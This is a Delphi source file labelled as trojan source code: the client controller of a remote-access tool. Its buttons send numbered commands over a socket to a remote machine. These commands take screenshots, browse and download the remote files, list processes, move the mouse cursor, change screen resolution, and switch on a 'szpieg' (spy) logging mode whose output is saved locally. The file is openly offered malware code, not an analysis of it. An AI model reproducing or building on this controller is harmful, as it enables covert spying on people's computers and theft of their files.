clientunit.pas

New Trojan source delphi source code

begin
invalidate;
end;

procedure TForm1.Button7Click(Sender: TObject);
var pom:pstos;
begin
if (curdir=nil) then exit
else
if (curdir^.nast=nil) then exit;
pom:=curdir^.nast;
dispose(curdir);
curdir:=pom;
assignfile(plikprzych,string(sysdir)+'\dir.dir');
rewrite(plikprzych,1);
freeze;
clientsocket1.Socket.SendText('700'+curdir^.sciezka);
if curdir^.nast=nil then button7.Enabled:=false;
end;

procedure TForm1.Button29Click(Sender: TObject);
begin
memo3.Lines.Clear;
form1.freeze;
clientsocket1.Socket.SendText('125');
end;

procedure TForm1.Button30Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('200'+edit2.text);
end;

procedure TForm1.Button31Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('201'+edit4.text+';'+edit5.text);
end;

procedure TForm1.DriveComboBox1Change(Sender: TObject);
begin
directorylistbox1.Drive:=drivecombobox1.Drive;
end;

procedure TForm1.DirectoryListBox1Change(Sender: TObject);
begin
filelistbox1.Directory:=directorylistbox1.Directory;
end;

procedure TForm1.Button32Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('305');
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('100');
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('101');
end;

procedure TForm1.Button11Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('102');
end;

procedure TForm1.Button12Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('103');
end;

procedure TForm1.Button13Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('104');
end;

procedure TForm1.Button14Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('308');
end;

procedure TForm1.Button15Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('106');
end;

procedure TForm1.Button16Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('107');
end;

procedure TForm1.Button17Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('108');
end;

procedure TForm1.Button18Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('109');
end;

procedure TForm1.Button19Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('110');
end;

procedure TForm1.Button20Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('111');
end;

procedure TForm1.Button21Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('112');
end;

procedure TForm1.Button22Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('113');
end;

procedure TForm1.Button23Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('114');
end;

procedure TForm1.Button24Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('115');
end;

procedure TForm1.Button25Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('116');
end;

procedure TForm1.Button26Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('117');
end;

procedure TForm1.Button27Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('120');
end;

procedure TForm1.Button28Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('121');
end;

procedure TForm1.Button33Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('300');
end;

procedure TForm1.Button34Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('301');
end;

procedure TForm1.Button35Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('302');
end;

procedure TForm1.Button36Click(Sender: TObject);
begin
  form1.ClientSocket1.Socket.SendText('122');
end;

procedure TForm1.skancliError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
errorcode:=0;
end;

procedure TForm1.Button37Click(Sender: TObject);
var r:TRegistry;
begin
if not clientsocket1.Active then exit;
 r:=TRegistry.Create;
  r.RootKey:= HKEY_LOCAL_MACHINE;
  r.OpenKey('Software\klient1',true);
  r.WriteString('szpieg','111');
  r.writestring('pier','222');
 r.CloseKey;
 r.Free;
clientsocket1.Socket.SendText('401');
button53.Enabled:=true;
button37.Enabled:=false;
button38.Enabled:=true;
end;

procedure TForm1.Button38Click(Sender: TObject);
var rr:TRegistry;
   co:string;
begin
if not clientsocket1.Active then exit;
form1.freeze;
rr:=TRegistry.create;
rr.RootKey:= HKEY_LOCAL_MACHINE;
rr.OpenKey('Software\klient1',true);
if rr.ValueExists('pier') then
begin
  co:=rr.readString('pier');
  rr.CloseKey;
  if co='222' then
  begin
    assignfile(plikprzych,string(sysdir)+'\'+'szpieg.txt');
    rewrite(plikprzych,1);
    clientsocket1.Socket.SendText('404');

  end;
end;
rr.closekey;
rr.Free;
end;
procedure TForm1.Button39Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('306');
end;

procedure TForm1.Button40Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('307');
end;

procedure TForm1.Button43Click(Sender: TObject);
begin
  clientsocket1.Socket.SendText('999');
end;

procedure TForm1.FormCreate(Sender: TObject);
var l:integer;
    r:TRegistry;
    co:string;
begin
  r:=TRegistry.Create;
  r.RootKey:= HKEY_LOCAL_MACHINE;
  if not r.KeyExists('Software\klient1')then r.CreateKey('software\klient1');
  r.OpenKey('Software\klient1',true);
  if not r.ValueExists('szpieg') then
  begin
    r.WriteString('szpieg','000');
    button38.Enabled:=false;
    button53.Enabled:=false;
  end
  else
  begin
    co:=r.ReadString('szpieg');
    if co='111' then
    begin
      button37.Enabled:=false;
      button53.Enabled:=true;
    end
    else if co='000' then
    begin
      button37.Enabled:=true;
      button53.Enabled:=false;
      button38.Enabled:=false;
    end;
    if r.ValueExists('pier') then button38.Enabled:=true;
  end;

r.closekey;
r.Free;


curdir:=nil;
l:=256;
GetTempPath(l,@t);
GetSystemDirectory(sysdir,sizeof(sysdir));
end;

procedure TForm1.PlikcliRead(Sender: TObject; Socket: TCustomWinSocket);
var buf:array[1..1024]of char;
    ile:integer;
begin
  ile:=socket.ReceiveBuf(buf,sizeof(buf));
  blockwrite(plikprzych,buf,ile);
end;

procedure TForm1.Button44Click(Sender: TObject);
begin
 if filelistbox1.FileName='' then exit;
  nazwapliku:=filelistbox1.FileName;
  clientsocket1.Socket.SendText('600'+nazwapliku);
  freeze;
end;

procedure TForm1.Button41Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('309');
end;

procedure TForm1.Button46Click(Sender: TObject);
begin
  checkbox2.Checked:=not checkbox2.Checked;
  clientsocket1.Socket.SendText('310');
end;

procedure TForm1.Button48Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('312');
end;

procedure TForm1.Button45Click(Sender: TObject);
begin
  if (listbox2.ItemIndex=-1)or(directorylistbox1.Directory='') then exit
  else
  begin
  assignfile(plikprzych,dirnotation(directorylistbox1.Directory)+listbox2.items[listbox2.itemindex]);
  rewrite(plikprzych,1);
  freeze;
  clientsocket1.Socket.SendText('900'+DirNotation(curdir^.sciezka)+listbox2.items[listbox2.itemindex]);
end;
end;


procedure TForm1.Button49Click(Sender: TObject);
begin
form3.ShowModal;
end;

procedure TForm1.Button50Click(Sender: TObject);
var pom:pstos;
    scie:string;
begin
if clientsocket1.Active=false then exit
else
if combobox1.Text='' then exit;
if curdir=nil then
begin
  new(curdir);
  if listbox1.itemindex>-1 then
       scie:=dirnotation(combobox1.text)+listbox1.Items[listbox1.itemindex]
  else
    scie:=dirnotation(combobox1.text);
  with curdir^ do
  begin
    sciezka:=scie;
    nast:=nil;
  end;

end
else
begin
  pom:=curdir;
  new(curdir);
  if listbox1.itemindex>-1 then
       scie:=dirnotation(pom^.sciezka)+listbox1.Items[listbox1.itemindex]
  else
  scie:=dirnotation(combobox1.text);
  with curdir^ do
  begin
    sciezka:=scie;   ///////////////////////////////////////
    nast:=pom;
  end;
  if curdir^.nast<>nil then  button7.Enabled:=true;
end;
 assignfile(plikprzych,string(sysdir)+'\dir.dir');
 rewrite(plikprzych,1);
 freeze;
 clientsocket1.Socket.SendText('700'+curdir^.sciezka);
end;

procedure TForm1.Button42Click(Sender: TObject);
begin
assignfile(plikprzych,string(sysdir)+'\ekran.jpg');
rewrite(plikprzych,1);
freeze;
clientsocket1.Socket.SendText('400');
button6.Enabled:=false;
button42.Enabled:=false;
button44.Enabled:=false;
button45.Enabled:=false;
button50.Enabled:=false;
end;

procedure TForm1.Button51Click(Sender: TObject);
begin
  if image1.Stretch then
 begin
 image1.stretch:=false;
 image1.autosize:=true;
 scrollbox1.AutoScroll:=true;
 end
 else
 begin
 image1.stretch:=true;
 image1.autosize:=false;
 image1.width:=scrollbox1.Width;
 image1.height:=scrollbox1.height;
 scrollbox1.AutoScroll:=false;
 end;
end;

procedure TForm1.CheckBox1Click(Sender: TObject);
begin
timer1.Enabled:=not timer1.Enabled;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var point:TPoint;
        l,i:integer;
     x,y:string;
begin
  getcursorpos(point);
  x:=inttostr(point.x);
  y:=inttostr(point.y);
  l:=length(x);
  if l<3 then for i:=1 to 3-l do x:='0'+x;
  l:=length(y);
  if l<3 then for i:=1 to 3-l do y:='0'+y;
  clientsocket1.Socket.SendText('105'+x+';'+y+';'+#13#10);
 end;

procedure TForm1.Button52Click(Sender: TObject);
begin
   if radiobutton3.Checked then clientsocket1.Socket.SendText('313640;480')
   else
   if radiobutton4.Checked then clientsocket1.Socket.SendText('313800;600')
   else
   if radiobutton5.Checked then clientsocket1.Socket.SendText('3131024;768')
   else
   if radiobutton6.Checked then clientsocket1.Socket.SendText('3131600;1200')
end;

procedure TForm1.Button47Click(Sender: TObject);
begin
 clientsocket1.Socket.SendText('311');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if listbox1.itemindex=-1 then exit
else
begin
udost:=curdir^.sciezka+'\'+listbox1.Items[listbox1.ItemIndex];
form3.ShowModal;
end;

end;

procedure TForm1.Button53Click(Sender: TObject);
var r:TRegistry;
begin
if not clientsocket1.Active then exit;
  r:=TRegistry.Create;
  r.RootKey:= HKEY_LOCAL_MACHINE;
  r.OpenKey('Software\klient1',true);
  r.WriteString('szpieg','000');
  r.CloseKey;
 r.Free;
clientsocket1.Socket.SendText('402');
button37.Enabled:=true;
button53.Enabled:=false;
end;

procedure TForm1.Button55Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('801'+edit10.Text);
end;

procedure TForm1.Button54Click(Sender: TObject);
begin
memo6.Clear;
assignfile(plikprzych,string(sysdir)+'\ps1.ps');
rewrite(plikprzych,1);
form1.freeze;
clientsocket1.Socket.SendText('800');
end;

procedure TForm1.Button56Click(Sender: TObject);
var buf:pstos;
begin
if (curdir=nil)or(curdir^.nast=nil) then exit
else


begin
buf:=curdir^.nast;
assignfile(plikprzych,string(sysdir)+'\dir.dir');
rewrite(plikprzych,1);
freeze;
dispose(curdir);
curdir:=buf;
clientsocket1.Socket.SendText('700'+buf^.sciezka);
end;
end;
procedure TForm1.ComboBox1Click(Sender: TObject);
begin
listbox1.ItemIndex:=-1;
listbox2.ItemIndex:=-1;
curdisk:=combobox1.Text;

end;

procedure TForm1.Button8Click(Sender: TObject);
begin
clientsocket1.Socket.SendText('988');
end;

procedure TForm1.PlikcliError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
    
     ErrorCode := 0;

end;

end.